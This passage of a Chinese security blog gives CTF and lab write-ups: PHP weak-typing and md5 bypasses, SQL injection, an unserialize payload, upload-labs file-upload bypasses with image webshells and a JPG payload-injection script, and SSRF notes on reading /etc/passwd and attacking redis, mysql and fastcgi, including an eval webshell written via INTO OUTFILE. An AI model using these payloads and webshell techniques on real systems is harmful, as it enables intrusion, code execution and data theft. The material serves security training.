    echo("<p>Log in failure!</p>");
  }
}

?>

writeup

//select pw from ctf where user=''and 0=1 union select  'e10adc3949ba59abbe56e057f20f883e' #

?user='and 0=1 union select  'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

18 md5()函数===使用数组绕过

code

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

writeup

若为md5($_GET['username']) == md5($_GET['password']) 则可以构造： http://localhost/php_bugs/18.php?username=QNKCDZO&password=240610708 因为==对比的时候会进行数据转换，0eXXXXXXXXXX 转成0了也可以使用数组绕过 http://localhost/php_bugs/18.php?username[]=1&password[]=2

但此处是===，只能用数组绕过，PHP对数组进行hash计算都会得出null的空值 http://localhost/php_bugs/18.php?username[]=1&password[]=2

19 ereg()函数strpos() 函数用数组返回NULL绕过

code

<?php  

$flag = "flag";  
   
if (isset ($_GET['password'])) {  
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
        echo 'You password must be alphanumeric';  
    else if (strpos ($_GET['password'], '--') !== FALSE)  
        die('Flag: ' . $flag);  
    else  
        echo 'Invalid password';  
}  
?>

writeup

方法一： ereg()正则函数可以用%00截断 http://localhost/php_bugs/19.php?password=1%00--
方法二：将password构造一个arr[]，传入之后，ereg是返回NULL的，===判断NULL和 FALSE，是不相等的，所以可以进入第二个判断，而strpos处理数组，也是返回NULL，注意这里的是!==，NULL!==FALSE,条件成立，拿到flag http://localhost/php_bugs/19.php?password[]=

20 十六进制与数字比较

code

<?php

error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

writeup

这里，它不让输入1到9的数字，但是后面却让比较一串数字，平常的方法肯定就不能行了，大家都知道计算机中的进制转换，当然也是可以拿来比较的，0x开头则表示16进制，将这串数字转换成16进制之后发现，是deadc0de，在开头加上0x，代表这个是16进制的数字，然后再和十进制的 3735929054比较，答案当然是相同的，返回true拿到flag

echo  dechex ( 3735929054 ); // 将3735929054转为16进制
结果为：deadc0de

构造： http://localhost/php_bugs/20.php?password=0xdeadc0de

21 数字验证正则绕过

code

<?php

error_reporting(0);
$flag = 'flag{test}';
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        //>=3，必须包含四种类型三种与三种以上
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}

?>

writeup

0 >= preg_match('/^[[:graph:]]{12,}$/', $password) 意为必须是12个字符以上（非空格非TAB之外的内容）

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr))

意为匹配到的次数要大于6次

$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
foreach ($ps as $pt) 
{ 
    if (preg_match("/[[:$pt:]]+/", $password)) 
        $c += 1; 
} 
if ($c < 3) break;

意为必须要有大小写字母，数字，字符内容三种与三种以上

if ("42" == $password) echo $flag;

意为必须等于42

答案：

42.00e+00000000000 
或
420.000000000e-1

资料：

22 弱类型整数大小比较绕过

code

<?php

error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){
    echo $flag;
} 

?>

writeup

is_numeric($temp)?die("no numeric"):NULL; 不能是数字

if($temp>1336){
    echo $flag;
}

又要大于1336

利用PHP弱类型的一个特性，当一个整形和一个其他类型行比较的时候，会先把其他类型intval再比。如果输入一个1337a这样的字符串，在is_numeric中返回true，然后在比较时被转换成数字1337，这样就绕过判断输出flag。

http://localhost/php_bugs/22.php?password=1337a

23 md5函数验证绕过

code

<?php

error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
    echo $flag;
}

?>
if(md5($temp)==0)`
要使`md5`函数加密值为`0

writeup

方法一：使password不赋值，为NULL，NULL == 0为true http://localhost/php_bugs/23.php?password= http://localhost/php_bugs/23.php
方法二：经过MD5运算后，为0e******的形式，其结果为0*10的n次方，结果还是零 http://localhost/php_bugs/23.php?password=240610708 http://localhost/php_bugs/23.php?password=QNKCDZO

24 md5函数true绕过注入

code

<?php 
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) { 
  die('Could not connect to MySQL: ' . mysql_error()); 
} 
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
  echo 'select db error';
  exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
// SELECT * FROM users WHERE password = '276f722736c95d99e921722cf9ed621c'
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

writeup

$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'"; md5($password,true) 将md5后的hex转换成字符串

如果包含'or'xxx这样的字符串，那整个sql变成

SELECT * FROM admin WHERE pass = ''or'xxx'就绕过了

字符串：ffifdyop

md5`后，`276f722736c95d99e921722cf9ed621c`
`hex`转换成字符串：`'or'6<trash>

构造：?password=ffifdyop

资料：

25 switch没有break 字符与0比较绕过

code

<?php

// error_reporting(0);

if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    print('arg');
    // break;
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}

?>

writeup

让我们包含当前目录中的flag.php，给which为flag，这里会发现在case 0和case 1的时候，没有break，按照常规思维，应该是0比较不成功，进入比较1，然后比较2，再然后进入default，但是事实却不是这样，事实上，在 case 0的时候，字符串和0比较是相等的，进入了case 0的方法体，但是却没有break，这个时候，默认判断已经比较成功了，而如果匹配成功之后，会继续执行后面的语句，这个时候，是不会再继续进行任何判断的。也就是说，我们which传入flag的时候，case 0比较进入了方法体，但是没有break，默认已经匹配成功，往下执行不再判断，进入2的时候，执行了require_once flag.php

PHP中非数字开头字符串和数字 0比较==都返回True

因为通过逻辑运算符让字符串和数字比较时，会自动将字符串转换为数字.而当字符串无法转换为数字时，其结果就为0了，然后再和另一个0比大小，结果自然为ture。注意：如果那个字符串是以数字开头的，如6ldb，它还是可以转为数字6的，然后和0比较就不等了（但是和6比较就相等） if($str==0) 判断和 if( intval($str) == 0 ) 是等价的

可以验证：
<?php
$str="s6s";
if($str==0){ echo "返回了true.";}
?>

要字符串与数字判断不转类型方法有：

方法一： $str="字符串";if($str===0){ echo "返回了true.";}
方法二： $str="字符串";if($str=="0"){ echo "返回了true.";} ,

此题构造：http://localhost/php_bugs/25.php?which=flag

资料：

PHP中字符串和数字 0 比较为什么返回true？

26 unserialize()序列化

code

<!-- 题目：http://web.jarvisoj.com:32768 -->

<!-- index.php -->
<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

<!-- shield.php -->

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

<!-- showimg.php -->
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        //stripos — 查找字符串首次出现的位置（不区分大小写）
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

writeup

说明flag在pctf.php，但showimg.php中不允许直接读取pctf.php，只有在index.php中可以传入变量class ，index.php中Shield类的实例$X = unserialize($g)，$g = $_GET['class'];，$X中不知$filename变量，但需要找的是：$filename = "pctf.php"，现$X已知，求传入的class变量值。可以进行序列化操作：

<!-- answer.php -->
<?php

require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;

?>

<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

得到： O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} 构造： http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

upload-labs 通关攻略

Thu, 15 Apr 2021 10:35:00 GMT

upload-labs通关攻略

第一关

第一关通过右键查看源代码或者提示，我们不难发现是一个前端验证，一般前端验证都是纸老虎，形同虚设。

所以第一关的通关方法有三种：

第一就是将浏览器js代码禁用掉，右键---检查---调试器---设置---禁用JavaScript。快捷方式：f12---f1就可以了

然后就可以上传了。

这种方法有缺陷，因为禁用了js代码，如果在实战中，网站的一些正常功能可能无法显示。当然打靶通关是可以的。

第二种方法是用bp抓包工具直接将改后缀名

如果js代码是在本地运行，很可能抓不到数据包。这种方法也是不太行，同样通过第一关是可以的。

第三种方法是将网站源码复制下来，放到本地，然后将js代码删除。

右键---查看网站源代码---全部复制---创建一个记事本---将代码放进去---把记事本后缀名改为.html---用Notepad打开---找到js代码---删除

如果我们打开，是有上传文件的界面，但是不知道要上传给谁。这时我们返回到最开始，右键---检查---网络---然后上传一个正常的图片。这样我们就可以看到这个文件传给谁了。

然后我们在用Notepad打开我们自己的html文件，修改action,这个action是告诉他这个图片提交给谁，因为这个源代码中没有，我们就自己加一个。

最后用浏览器打开我们的html文件，上传。php文件即可。建议学会用第三种方法，在实战中，可能会遇到很多限制条件，第三种方法才是最完美的。

第二关

根据源代码我们可以发现，这一关是常见验证中的文件类型验证，也就是验证MIME信息

所以进行抓包，将Content-Type修改为允许上传的类型（image/jpeg、image/png、image/gif）三选一。

查看回显，发现已经上传成功

访问一下

第二关完美通关

第三关

查看源代码，我们可以发现是一个黑名单验证

黑名单是规定不允许上传的文件，但是如果黑名单定义不完整的话是可以实现绕过的，用.phtml .phps .php5 .pht进行绕过。这里我们直接上传一个.php5文件

上传成功,访问看一下

因为上传上去的文件名会改变，但是在数据包中有回显（实战中可能没有），所以我们还是可以访问的。

第三关就完美通过了

注意

要在apache的httpd.conf中有如下配置代码：AddType application/x-httpd-php .php .phtml .phps .php5 .pht，如果不配置他是无法解析php5代码的，访问的时候就是一个空白页

配置过程：以phpstudy2018版本为例：

1.打开其他选项单

2.打开配置文件---打开httpd.conf

3.修改代码，去掉注释符#

4.保存，重启phpstudy就可以了

第四关

这一关我们可以看到禁止上传文件可太多了

这种情况，我们可以尝试上传一个.htaccess配置文件，将4.png图片当作php代码进行解析，首先创建一个.htaccess文件，里面写上代码：

<FilesMatch "4.png">
SetHandler application/x-httpd-php

这串代码的意思是如果文件中有一个4.png的文件，他就会被解析为.php，把这个文件上传上去。上传上去之后，我们在把图片用Notepad打开，里面写上php代码。再进行上传。最后我们访问这个4.png文件

第四关就完美通过了

注意

.htaccess文件不能起名字，他就是.htaccess文件，如果你将他改为4.htaccess或者其他的什么名字是不可以的，无法解析。在实战中有可能上传上去这个文件会被自动重命名，被重命名了就不可以了。

如果以上操作都弄好了，还是出不来，还是去改phpstudy配置文件，其他选项菜单--打开配置文件---httpd.conf

箭头指向位置一开始none,改为all保存，重启phpstudy，就可以了。

第五关

第五关其实是有些upload-labs的第九关，我也认为把这关放到第九关比较合适。如果你的第五关和我的不一样，那么我的第六关就是你的第五关，依次类推到第九关。

这一关的思路是它没有循环验证，也就是说这些收尾去空，删除末尾的点，去除字符串::$DATA，转换为小写这些东西只是验证了一次。所以我们的绕过思路就很简单，在数据包中把后缀名改为.php. .说一下他的验证过程，首先他发现有一个点，这时会把他去掉，又发现有一个空格，也会把它去掉，我们这时还有一个点，也就是.“php. ”

由于他只是验证一次，所以不会在去掉我们的点，这时就可以上传成功，也可以解析成功。如下图:

上传成功，然后访问

第五关完美通关

第六关

看第六关的代码我们知道，这一关没有强制将大写转换为小写，所以我们可以上传纯大写或者大小写结合的后缀名

但是要注意不要和限制上传的文件后缀名写重复了。

直接上传一个后缀名为.PHP的文件：

我们可以看到上传成功，访问

第六关就完美通关了。

第七关

直接看代码，发现没有收尾去空。上传php文件，抓包在后面加空格。

然后我们可以发现上传成功，访问

第七关闯关成功

第八关

第八关我们可以发现没有删除文件名末尾的点，和第七关思路一样，就是把空格换成点

然后我们可以发现上传成功，访问

第八关闯关成功

第九关

第九关查看代码发现没有去除字符串::$DATA（关于什么是::$DATA参考上一篇文章），和第六七关一样，直接上传，在数据包的php后面直接加上::$DATA

然后我们可以发现上传成功，访问

第九关闯关成功

第十关

第十关可以和第三关相同，也可以和第五关的黑名单相似，可以上传.htaccess文件，这里直接构造后缀名，按照源码不同顺序的过滤进行绕过。

把后缀名改为“.php. .”即可

第十一关

第十一关也是黑名单的绕过，他的意思是如果你上传了上面规定的文件，他就会把你的后缀名去掉。

比如你上传了11.php，那么他就会把你的php过滤掉。文件没有了后缀名，自然也就无法解析了。

但是他是一次过滤，也就是说我们写两个php进行双写绕过就可以了：11.pphphp,他过滤掉一个，正好剩下了11.php。如下图所示：

上传成功，然后访问

十一关通关

总结

这些全部为黑名单绕过，而且只是验证一次，所以这些关卡全部可以用一个思路解出来，那就是.php. . 都是可以这样的，但是这就违背了创建靶场者的心思，靶场也就失去了意义，发挥不出靶场真正的作用。大家知道有这么一回事就可以了。所以大家还是按照本篇老老实实打一遍，通关不是目的，让知识得到巩固才是目的。

upload-labs(12-21关)

接下来的主要就是白名单的绕过，直接开干。

第十二关

第十二关我们看代码，可以得知是一个白名单，只允许上传'jpg','png','gif'格式的文件。但是上传路径是可以控制的，可以使用%00进行截断。

%00只能用于php版本低于5.3的。这里我们需要把phpstudy切换一下版本,把magic_quotes_gpc关闭
以phpstudy为例：其他选项菜单---php扩展及设置---参数开关设置---把magic_quotes_gpc关闭。

接下来就上传,要上传jpg文件。然后去修改地址

这里相当于上传了一个12.php文件到upload中，%00就是截断了，后面的不要了。

访问

这样就可以了，顺利通关。

第十三关

第十三关和第十二关是差不多的，只不过是接受值变成了post,她两的差别呢就是get会自行解码，post不会自行解码，我们需要对%00进行编码,选中%00右键，按下图操作来

编码好，我们就可以上传了

上传成功，访问

第十三关成功

第十四关

第十四关是用图片+php代码，组成一个图片码进行上传，当然要想解析出来这个图片，还得有这个包含漏洞。我们看到，他已经说了，网站存在包含漏洞

首先制作一个图片马，可以直接用Notepad直接打开图片后面加一个php代码，但是需要16进制，要不然图片可能出错。

也可以cmd进行生成，命令语句：copy 14.jpg /b + 14.php /a webshell.jpg 如图所示，我们在上传这个生成后的图片。

上传

访问

看一下访问的地址，因为一开始就说了有一个包含漏洞

所以地址要加上file

第十四关闯关成功。

第十五关

第十五关我们要了解一个函数

我们来看这个 getimagesize函数，这个函数的意思是：会对目标文件的16进制去进行一个读取，去读取头几个字符串是不是符合图片的要求的

所以这关还是用和14关一样的方法，生成带有php代码的图片上传，配合包含漏洞拿下此关。

上传成功，访问

十五关通关成功

第十六关

第16关同14，15关思路一样，操作一样。但是需要打开php_exif，

phpstudy的其他选项菜单---打开配置文件---php-ini

重启phpstudy即可

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

通过过程参考14，15关。

第十七关

第十七关主要是把二次渲染绕过imagecreatefromjpeg（）函数二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源，失败则返回false，导致图片马的数据丢失，上传图片马失败。

1、按照原来的方法进行上传，我们可以发现还是可以上传的，但是配合包含漏洞却无法解析，这时我们把上传的图片复制下来用Notepad打开，发现我们原来写的php代码没有了，这就是二次渲染把我们里面的php代码删掉了。

2、我们把原图和他修改过的图片进行比较，看看哪个部分没有被修改。将php代码放到没有被更改的部分，配合包含漏洞，就可以了。

3、使用winhex或者HxD Hex Editor等工具进行比较
HxD Hex Editor下载地址：https://mh-nexus.de/en/hxd

然后比较

具体实现需要自己编写Python程序，人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的，知道怎么解就可以了。

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

上传1.jpg后下载被二次渲染的jpg命名为2.jpg，然后进行脚本处理
php 二次渲染.php 2.jpg
# 生成payload_2.jpg

第十八关

第十八关主要是对条件竞争的考察，我们看代码他是先将图片上传上去，才开始进行判断后缀名、二次渲染。如果我们在上传上去的一瞬间访问这个文件，那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件，然后再去删除这个文件，就会提示这个文件在另一程序中打开无法删除。

操作：直接上传一个php文件，然后进行抓包，将数据包发送至intruder下，如图操作

然后如图操作修改

再修改一下线程

然后发包，用另一个浏览器一直访问18.php地址，只要在上传的一瞬间，他还没来的及删除、修改就可以了。（卡吧）

18关完美通关。

第十九关

第十九关的上传路径有点问题，不是上传到了upload里面，建议修改一下，进入第十九关，找到myupload.php文件，如图所示修改。

重启就可以了。

这关是检查了后缀名，然后上传，然后在进行二次渲染。这时我们只能上传图片马，而且得配合解析漏洞进行通关

操作和18关的一样，就是访问地址是加上包含漏洞的。

没什么问题，这些漏洞其实都是逻辑上的漏洞，二次渲染本身是没什么问题的。如果人家先验证在进行上传那就没有办法了。

19关完美通关。

第二十关

20关是两种通关方法：

第一种

move_uploaded_file()函数中的img_path是由post参数save_name控制的，可以在save_name利用%00截断（注意php版本低于5.3）。

如图：

访问

由于这种前面关卡已经用过，相信作者真正用意不是考这个。

第二种

move_uploaded_file()有这么一个特性，会忽略掉文件末尾的 /.

所以我们把他修改为如图所示

访问

第二十关完美通关

第二十一关

方法一：上传图片马，文件包含、解析漏洞

方法二：利用数组绕过验证

首先进行00截断

将Content-Type字段改为被允许的任意一种（此处我改为的是image/png）并将数据包中的name="save_name"以数组的形式发送，并将数组的最后一位改成可被成功放行的（jpg,png,gif）中的任意一种。

访问

二十关是一个黑名单，php/.就可以绕过，但是二十一关他会检测文件后缀名，是一个白名单。所以把他拆分掉第三部分是png，所以就会上传。实际上他上传上去的东西是upload-21.php/png，上传上去的东西就是upload-21.php。实现了绕过。

完美通关

ssrf漏洞的利用&伪协议

Thu, 11 Mar 2021 21:43:00 GMT

ssrf漏洞的利用&伪协议

0x1 SSRF原理解析

什么是ssrf

SSRF (Server-Side Request Forgery,服务端请求伪造)是指攻击者向服务端发送包含恶意URL链接的请求，借由服务端去访问此URL，以获取受保户网络内的资源的种安全漏洞。SSRF 常被用于探测攻击者无法访问到的网络区域，比如服务器所在的内网，或是受防火墙访问限制的主机。

一句话总结ssrf:

控制服务器使用指定的协议(如http协议、file协议访问指定的url (如: file:iletc/passwd)

思考:

访问如下url:

http//xxx.index.php?url=http://www.baidu.com

其中index php中的代码如下:

<?php
$url = $_GET['url'];
header ("location:http://baidu.com");
?>

传递任意url地址给index php.就能跳转到指定的ur地址上，这个算不SSRF呢?

不算，这个是一个重定向，不是访问

1 ssrf原理

SSRF(Server side Request Forgery.服务端请求伪造)是一种攻击者通过构造数据进而伪造服务端发起请求的漏洞

因为请求是由内部发起的，所以一般情况下， ssrf漏洞攻击的目标主机是从外网无法直接访问的内部系统

SSRF流洞形成的原因多是服务端提供了从外部服务获取数据的功能I但没有对目标地址、协议等主要参数进行过滤和限制，从而导致攻击者可以自由构造参数，发起恶意请求

与csrf的区别

从服务器发起攻击

从客户端开始攻击

2 url结构

协议://username@passowrd@ip:port/?a=b

0x2 ssrf漏洞利用

2.0 利用理解

ssrf的利⽤，其实是利⽤通信协议对内部组件进⾏攻击。ssrf漏洞的存在，帮我们构造了⼀个内部环境的代理agent，通过agent，我们可以对内部环境进⾏窥探，当内部某个组件存在缺陷的时候，就可以攻击。

https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
https://www.freebuf.com/vuls/262047.html

2.1 任意文件读取

利用协议：
file:// 通用
ldap ，zlib phar tar rat //php
jar  //java
jar war tar
例如：url=file:///etc/passwd

通过ssrf对本地文件进行读取，用于代码审计或者配置文件读取，密码读取等。

2.2 内网资源探测

url=file:///etc/hosts
url=file:///var/nginx/nginx.conf

2.2.1 访问内部web

url=http://
url=https://

这是最初级的ssrf利⽤了，通过ssrf去访问⼀个开启在127.0.0.1的web应⽤或者开放在内⽹的web应⽤。很可能开放在内⽹的服务没有进⾏⽐较强的鉴权，那么就可能有⼀些利用点。

另外常⻅的利⽤是，内⽹存在其他可以直接rce的web服务，可以先通过ssrf探测web指纹，来确定是否存在特定应⽤。

当然也有⼀种利⽤⽅式是，直接对内⽹的web服务直接，盲打各种rce。

例如有的公司全靠vpn做隔离，一旦进入，就会受到很多攻击

2.2.2 内网端口扫描

任意协议，常规协议：http/https

这个与上⾯那个类似，利⽤的是⼀种差分攻击（差别分析攻击）。就是有⼀个简单的理论基础“端⼝开放情况下与端⼝不开放情况下”，得到返回的时间会差别很⼤。以此，可以⽤来判断端⼝是否开启。

开放端口：错误了会马上返回

未开放端口：错误之后会缓一段时间

2.3 利用gopher协议展开攻击面&工具

2.3.0 简介和工具

gopher协议的利⽤，可以看这⾥，主要了解他是怎么构成和封装的就可以了：

https://cloud.tencent.com/developer/article/2091368

https://www.cnblogs.com/h0cksr/p/16189737.html

https://www.bilibili.com/read/cv12733096

通过dict或者gopher协议去构造其他应⽤的通信协议，与其他应⽤通信。然后攻击其他应⽤。⽬前国内⽹络上⽐较多的被⽤来搭配ssrf打的内部应⽤⼤致有：

攻击面有：

https://blog.csdn.net/u012206617/article/details/108941738
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms#fastcgi

工具

工具使用gopher那个

2.3.1 攻击redis的6397

数据库将内容以文件形式保存，文件中保存的是key和value的键值对，当在数据库中存储文本形式内容的时候，会以明文形式存储，如果存马，那在文件中就会有一句话木马。
redis也支持命令，第一个命令是修改配置命令，它可以修改到保存的数据库文件文件名，这时候，修改配置为一个PHP文件，那么进行数据保存的时候，会把数据库文件保存到指定的位置，就会生成一个PHP文件，虽然这个PHP文件里有其它的内容，但是只要内容中有PHP标签，就会执行PHP标签中的代码，从而实现代码执行。
使用条件：
1. redis没有密码
2. web目录可写，而且路径知道

redis一般运行在内网使用者一般将其绑定在6379端口，且一般为空密码

例题：web81

这才是完整的流量包

2.2.2 攻击 mysql 的3306

不能有密码或者密码为空
一旦有密码，就是通过交互执行
如果没有密码，那就可以免交互

需要密码验证，当需要进行密码验证的时候，客户端使用salt进行加密密码后再验证
不需要密码认证，将直接使用上面第四种方式发送数据包

所以这里攻击mysql，需要在非交互环境下进行，一定只能攻击没有密码的mysql服务器

例题：web82

select "<?php eval($_POST[1]);?> into outfile "/var/www/html/1.php"

2.2.3 攻击攻击fastcgi的9000端口

php-fpm是个中间件，在需要php解释器来处理.php文本时会用到php-fpm。自从php5.3.3以后，就将php-fpm集成在php内核中。PHP-FPM提供了更好的PHP进程管理方式。可以有效控制内存和进程，可以平滑的重载PHP配置

我们进程执行访问的index.php?file=/etc/passwd为例：

浏览器发送访问index.php的请求到服务器，比如/nginx/apache
web服务器将请求的uri(index.php)，参数（file=/etc/passwd）等等发送给专门的PHP解释器来执行，因为nginx/apache是只能处理静态文件(通过文件读取的方式)，对于动态的PHP脚本，需要专门的PHP-fpm中间件来执行
php-fpm收到了web服务器传递过来的各种参数后，初始化zend虚拟机，对PHP文件做词法分析，语法分析，变异成opcode，并执行。最后关闭zend虚拟机，将执行结果返回给web服务器
web服务器收到返回结果后，将http响应传给浏览器

fastcgi协议：

fastcgi是一个通信协议，和http协议一样，是一个进行数据交换的通道。http协议是浏览器和服务器红箭进行数据交换的协议，浏览器将http头和http体用某个规则组装成数据包，以TCP的方式发送到服务器的中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户的数据，在意HTTP协议的规则打包返回给服务器

auto_prepend_file:在执行目标文件之前，先包含指定的文件，其可以使用的协议：php://input,
auto_append_file:在执行目标文件之后，包含指定的文件
9000端口攻击：
